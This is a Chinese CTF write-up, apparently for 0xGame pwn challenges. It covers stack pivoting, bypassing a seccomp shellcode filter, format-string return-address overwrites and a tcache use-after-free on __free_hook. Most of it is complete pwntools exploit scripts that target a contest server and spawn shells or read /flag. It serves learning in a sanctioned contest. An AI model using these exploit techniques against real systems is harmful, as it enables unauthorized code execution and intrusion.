栈迁移的原理就是利用 leave 和 ret 指令, 通过 rbp 修改 rsp 指针, 进而将栈转移到其它位置 (例如 data 段或 bss 段)
转移栈之后, 整个栈区的地址就是已知的, 后续构造 ROP 也会更加方便
第一种 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 43001)
libc = ELF('./libc.so.6')
buf = 0x405000 - 0x200 # 0x404e00
leave_ret = 0x401234
pop_rdi_ret = 0x4012c3
vuln_addr = 0x401211
call_read = 0x40122e
puts_plt = 0x401070
puts_got = 0x404018
payload_1 = flat([
b'a' * 0x20,
buf,
vuln_addr
])
p.sendafter(b'~\n', payload_1)
sleep(0.1)
payload_2 = flat([
b'b' * 0x20,
buf + 40,
vuln_addr,
])
p.sendafter(b'~\n', payload_2)
sleep(0.1)
payload_3 = flat([
pop_rdi_ret, # buf + 8, 为 read 返回地址 (猜测是没有 prolog, 没有 sub rsp, 0x20, 导致 stack 位置有点问题)
puts_got,
puts_plt,
vuln_addr
])
p.sendafter(b'~\n', payload_3)
sleep(0.1)
puts_addr = u64(p.recvuntil('\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']
system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))
print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(binsh_addr))
payload_4 = flat([
b'c' * 0x18, # (0x404e28 - 0x8) - (0x404e28 - 0x20) = 0x18, 原因同上, read 的返回地址实际上在 rbp 下面一个单元
pop_rdi_ret,
binsh_addr,
system_addr
])
p.sendafter(b'~\n', payload_4)
sleep(0.1)
p.interactive()
|
先打两次 payload 进行栈迁移, 注意 buf 的地址是由 rbp 决定的, 因此第二个 payload 需要控制好 rbp 的位置
打第三次 payload 写 buf 的时候实际上写的是 buf + 8 的位置 (也就是第二次 payload ret 弹出 vuln_addr 之后 rsp 的位置), 然后由于一些奇怪的问题, 实际上栈溢出覆盖返回地址的时候直接就覆盖了 read 而不是 main 的返回地址, 后续就是泄露 puts GOT 然后继续返回 vuln_addr
最后打第四次 payload 执行 system, 这里需要用 gdb 手动调试一下 padding, 经过计算得到 padding 为 0x18 而不是前几次的 0x20
第二种 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 43001)
libc = ELF('./libc.so.6')
buf = 0x405000 - 0x200 # 0x404e00
leave_ret = 0x401234
pop_rdi_ret = 0x4012c3
ret = 0x0401235
vuln_addr = 0x401211
call_read = 0x40122e
after_read = 0x401233
puts_plt = 0x401070
puts_got = 0x404018
payload_1 = flat([
b'a' * 0x20,
buf,
vuln_addr
])
p.sendafter(b'~\n', payload_1)
sleep(0.1)
payload_2 = flat([
b'b' * 0x20,
buf + 40,
vuln_addr,
])
p.sendafter(b'~\n', payload_2)
sleep(0.1)
payload_3 = flat([
pop_rdi_ret, # buf + 8, 为 read 返回地址 (猜测是没有 prolog, 没有 sub rsp, 0x20, 导致 stack 位置有点问题)
puts_got,
puts_plt,
vuln_addr
])
p.sendafter(b'~\n', payload_3)
sleep(0.1)
puts_addr = u64(p.recvuntil('\n', drop=True).ljust(0x8, b'\x00'))
libc_base_addr = puts_addr - libc.symbols['puts']
system_addr = libc_base_addr + libc.symbols['system']
binsh_addr = libc_base_addr + next(libc.search(b'/bin/sh'))
print('leak puts addr:', hex(puts_addr))
print('libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(binsh_addr))
payload_4 = flat([
b'c' * 0x18, # 写在 buf + 8 的位置, 偏移 (0x404e28 - 0x8) - (0x404e28 - 0x20) = 0x18, 原因同上, read 的返回地址实际上在 rbp 下面一个单元
after_read, # read ret addr
buf, # vuln rbp addr
vuln_addr # vuln ret addr
])
p.sendafter(b'~\n', payload_4)
sleep(0.1)
payload_5 = flat([
b'd' * 0x20, # 这会 rbp 和 rsp 就不在挨着了, 所以偏移还是 0x20, 不会把 buf 的内容写在 read 的返回地址上
buf + 40,
vuln_addr,
])
p.sendafter(b'~\n', payload_5)
sleep(0.1)
payload_6 = flat([
pop_rdi_ret, # read ret addr
binsh_addr,
ret,
system_addr
])
p.sendafter(b'~\n', payload_6)
sleep(0.1)
p.interactive()
|
跟第一种方法类似, 就是后续执行 system 的时候又是先打了两次 payload 进行栈迁移
Shellcode-lv2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
bufinit(argc, argv, envp);
buf = mmap((void *)0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
printf("Show me what you want to run: ");
read(0, buf, 0x10uLL);
for ( i = 0; i <= 15; ++i )
{
if ( *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 5 )
{
puts("Why are you making syscall?");
exit(-1);
}
}
puts("Well Im kinda lazy, so I'll randomly drop some work......");
sleep(1u);
puts("Again, no exec for you this time!");
sleep(1u);
puts("And, all you have are open/read/write.");
sleep(1u);
puts("Good luck!");
sandbox();
((void (*)(void))buf)();
return 0;
}
|
seccomp-tools dump
1
2
3
4
5
6
7
8
9
10
11
12
|
Good luck!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0008
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
允许执行 shellcode, 但是 ban 了 syscall 指令和 exec 系列 syscall 调用, 只允许 open read write, 同时 buf 设置的很小, 只有 0x10 字节
这道题的思路是利用栈上和寄存器内已有的数据读取 flag
在执行 buf 内的 shellcode 时, buf 的地址被存入了 rdx, 值为 0x20240000
通过 0x20240000 可以再构造一次 read syscall, 读入 0x20240000 字节的数据至 buf, 然后传入 orw 的 shellcode
syscall 指令 \x0f\x05
被过滤可以使用修改 rip 的方式绕过, 例如如下的 mov 会将 rip 的第二个字节改成 \x05
(原来是 \x12
)
首先 read shellcode 需要尽可能的精简, 例如下面使用的是 push pop 而不是 mov, 原因在于前者的长度更小
然后传入 orw shellcode 时需要在前面加上足够多的 nop, 使得程序能够滑行到 orw 的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
from time import sleep
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.97.58.52', 43010)
# syscall '\x0f\x05'
# nop '\x90'
shellcode_1 = '''
push rdx
pop rsi
push 0
pop rdi
mov byte ptr [rip+1], 0x05
'''
p.sendafter(b'run: ', asm(shellcode_1) + b'\x0f\x12')
sleep(0.1)
shellcode_2 = b'\x90' * 0x20 + asm(shellcraft.open('/flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
p.send(shellcode_2)
p.interactive()
|
fmt2orw
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/0xGame/week_3/fmt2orw/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
main
1
2
3
4
5
6
7
8
9
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0x114514000LL, 0x1000uLL, 3, 34, -1, 0LL);
seccomp();
say();
puts("Goodbye~");
return 0;
}
|
say
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int say()
{
int result; // eax
puts("This time, what do you want to teach her?");
while ( 1 )
{
printf("Say something:");
read(0, (void *)0x114514000LL, 0x200uLL);
result = strcmp((const char *)0x114514000LL, "stop");
if ( !result )
break;
puts("\nShanghai!");
printf((const char *)0x114514000LL);
puts("Shanghai!\n");
}
return result;
}
|
what
1
2
3
4
|
int what()
{
return mprotect((void *)0x114514000LL, 0x1000uLL, 7);
}
|
程序用 mmap 申请了一段空间, 但是没有执行权限, 存在格式化字符串漏洞
what 函数会调用 mprotect 将 mmap 空间的权限修改为 rwx
思路是覆盖 say 和 main 的返回地址, 分别覆盖成 what 和 mmap 空间, 进而执行 shellcode
程序开启了 PIE, 因此需要先泄露栈上内容计算出 PIE 基址, 才能得到 what 函数的真实地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# p = process('./pwn_patch')
p = remote('47.97.58.52', 43000)
e = ELF('./pwn_patch')
p.recvuntil(b':')
p.send(b'%7$p\x00')
p.recvuntil(b'!\n')
main_addr = int(p.recv(14), 16)
pie_base_addr = main_addr - 80 - e.symbols['main']
what_addr = pie_base_addr + e.symbols['what']
print('main addr + 80:', hex(main_addr))
print('pie base addr:', hex(pie_base_addr))
print('what addr:', hex(what_addr))
p.recvuntil(b':')
p.send(b'%11$p\x00')
p.recvuntil(b'!\n')
# 即构造一个指向 ret addr 的指针, 通过指针修改 ret addr
# 直接修改 ret addr 实际上是修改 code segment 的内容, 会引发 Segmentation Fault
stack_pointer_addr = int(p.recv(14), 16) # 在栈上拿到一指向栈上元素的指针
say_ret_stack_addr = stack_pointer_addr - 0x100 # 根据指针地址计算 ret addr 的 rsp 指针地址
what_ret_stack_addr = say_ret_stack_addr + 0x08
print('stack pointer addr:', hex(stack_pointer_addr))
print('say ret stack addr:', hex(say_ret_stack_addr))
print('main ret stack addr:', hex(what_ret_stack_addr))
payload_1 = b'%' + str(say_ret_stack_addr & 0xffff).encode() + b'c%11$hn\x00' # 将栈上元素修改为 ret addr stack 地址
p.recvuntil(b':')
p.send(payload_1)
payload_2 = b'%' + str(what_addr & 0xffff).encode() + b'c%39$hn\x00' # 通过栈上指向 ret addr 指针, 修改 ret addr 的内容
p.recvuntil(b':')
p.send(payload_2)
# 00 00 00 01 14 51 40 00
mmap_addr = 0x114514000 + 0x5 # skip stop \x00
for i in range(8):
payload_a = b'%' + str((what_ret_stack_addr + i) & 0xffff).encode() + b'c%11$hn\x00'
p.recvuntil(b':')
p.send(payload_a)
n = (mmap_addr >> i * 8) & 0xff
if n == 0:
payload_b = b'%39$hhn\x00' # 注意长度为 0 的情况, %0c 实际上会输出单个 char
else:
payload_b = b'%' + str(n).encode() + b'c%39$hhn\x00'
p.recvuntil(b':')
p.send(payload_b)
payload_3 = b'stop\x00' + asm(shellcraft.open('/flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
p.recvuntil(b':')
p.send(payload_3)
p.interactive()
|
先通过 %7$p
泄露 main + 80 的地址
然后通过 %11$p
泄露栈上的一个指向栈上元素的指针
然后就可以通过 %n
对这个 0x7ffdb0d0ea78 指针解引用, 修改它指向的元素 (即 0x7ffdb0d1028e), 其实也就是通过指针间接修改了 0x7ffdb0d0ea78 栈上的元素, 将其修改成 main+80 所在的地址, 即 0x7ffdb0d0e978, 两者刚好相差 0x100
这样我们就得到了一个指向 main+80 的指针 (换了一张图)
然后再修改格式化字符串偏移 39 的位置, 也就是底下的那个指针, 间接修改 say 函数的返回地址
后续修改 main 函数的返回地址也是一样的方法
最后注意修改地址的时候需要跳过 shellcode 的前五个字符 stop\x00
Week 4
UAF
add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
unsigned __int64 add()
{
signed int v1; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
size_t nbytes_4; // [rsp+8h] [rbp-8h]
nbytes_4 = __readfsqword(0x28u);
printf("Enter index: ");
v1 = getint();
if ( (unsigned int)v1 > 0x10 || *((_QWORD *)&ptrlist + v1) )
{
puts("Invalid index!");
}
else
{
printf("Enter size: ");
nbytes = getint();
if ( nbytes >= 0 )
{
*((_QWORD *)&ptrlist + v1) = malloc(nbytes);
sizelist[v1] = nbytes;
printf("Enter data: ");
read(0, *((void **)&ptrlist + v1), (unsigned int)nbytes);
puts("Done!");
}
else
{
puts("Invalid size!");
}
}
return __readfsqword(0x28u) ^ nbytes_4;
}
|
show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
unsigned __int64 show()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter index: ");
v1 = getint();
if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
printf("Data: %s\n", *((const char **)&ptrlist + v1));
else
puts("Invalid index!");
return __readfsqword(0x28u) ^ v2;
}
|
delete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
unsigned __int64 delete()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter index: ");
v1 = getint();
if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
{
free(*((void **)&ptrlist + v1));
puts("Done!");
}
else
{
puts("Invalid index!");
}
return __readfsqword(0x28u) ^ v2;
}
|
edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
unsigned __int64 edit()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter index: ");
v1 = getint();
if ( (unsigned int)v1 <= 0x10 && *((_QWORD *)&ptrlist + v1) )
{
printf("Enter data: ");
read(0, *((void **)&ptrlist + v1), (unsigned int)sizelist[v1]);
puts("Done!");
}
else
{
puts("Invalid index!");
}
return __readfsqword(0x28u) ^ v2;
}
|
题目给了 libc, 通过 strings libc.so.6 | grep GLIBC
可以得知 glibc 版本为 2.3.1
_libc_malloc
: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3022
_int_malloc
: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3512
_int_free
: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4154
新版本 libc 加入了 tcache, free 过的前 7 个 chunk 优先放入 tcache, 然后再放入 fastbin 或 unsorted bin
感觉堆就算是同一道题可能也会有多个打法? 这里用的是 Tcache Attack 打 __free__hook
先通过 UAF 修改 tcache bin 内 chunk 的 fd 为某个地址, 然后两次 malloc 就能得到一个任意地址写, 写入 __free_hook
为 system 函数就可以实现 RCE
这里注意新版本 glibc 对 tcache count 进行了检测, 如果是只 free 一个 chunk 然后修改 fd 的话, 第二次 malloc 会拿不出来 (此时 count 为 0), 解决办法是先放入两个 chunk, 然后修改后一个 chunk 的 fd
https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3049
__free__hook
被调用时传入的参数是 chunk 指针, 因此可以提前申请一个 chunk 写入 /bin/sh
字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./pwn_patch')
libc = ELF('./libc.so.6')
def add(idx, size, data):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'index: ', str(idx).encode())
p.sendlineafter(b'size: ', str(size).encode())
p.sendlineafter(b'data: ', data)
def delete(idx):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'index: ', str(idx).encode())
def display(idx):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'index: ', str(idx).encode())
def edit(idx, data):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'index: ', str(idx).encode())
p.sendlineafter(b'data: ', data)
# 申请大于 fastbin 大小的 chunk
add(8, 0x100, b'data')
# 先填满 tcache
for i in range(7):
add(i, 0x100, b'aaa')
for i in range(7):
delete(i)
# 通过 unsorted bin fd/bk 指针泄露 libc 基址
delete(8)
display(8)
p.recvuntil(b'Data: ')
bins_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = bins_addr - 0x1ecbe0
system_addr = libc.symbols['system']
free_hook_addr = libc.symbols['__free_hook']
log.info(f'libc base addr: {hex(libc.address)}')
log.info(f'libc system addr: {hex(system_addr)}')
log.info(f'__free_hook addr: {hex(free_hook_addr)}')
# 申请两个 chunk 放入 tcache
add(9, 0x40, b'aaaa')
add(10, 0x40, b'bbbb')
delete(9)
delete(10)
# UAF 修改 tcache 表头 chunk 的 fd
edit(10, p64(free_hook_addr))
# 取出上面的表头 chunk (idx = 10), 此时 tcache 表头为 __free_hook 地址
add(11, 0x40, b'cccc')
#__free_hook 任意地址写
add(12, 0x40, p64(system_addr))
# 申请一个 chunk 用于存放 /bin/sh 字符串
add(13, 0x40, b'/bin/sh\x00')
# free 时触发 __free_hook, 传入的参数为 chunk 指针, 即上面的 /bin/sh 字符串
delete(13)
p.interactive()
|
__malloc_hook
被调用时传入的参数是申请 chunk 的字节数, 估计得用 one_gadget 打, 但是我试了下好像没成功
泄露 libc 地址需要用到 unsorted bin 的一个技巧, 当某个 chunk 被放入 unsorted bin 时, 其 fd 和 bk 都指向 malloc_state 的 bins[1]
而 bins 相对于 libc 基址的偏移是固定的, 这里为 0x1ecbe0, 用 gdb 调试一下就可以得到
当然还是得注意先把 tcache 放满, 这样后续的 chunk 才会被放入 unsorted bin
想试一下 Tcache Dup (Double Free) 能不能打, 然后发现这个 glibc 版本有点高, tcache chunk 的 bk 会写入 tcache 指针 (指向 tcache_perthread_struct) 作为 key, 以此来检测 Double Free
https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4193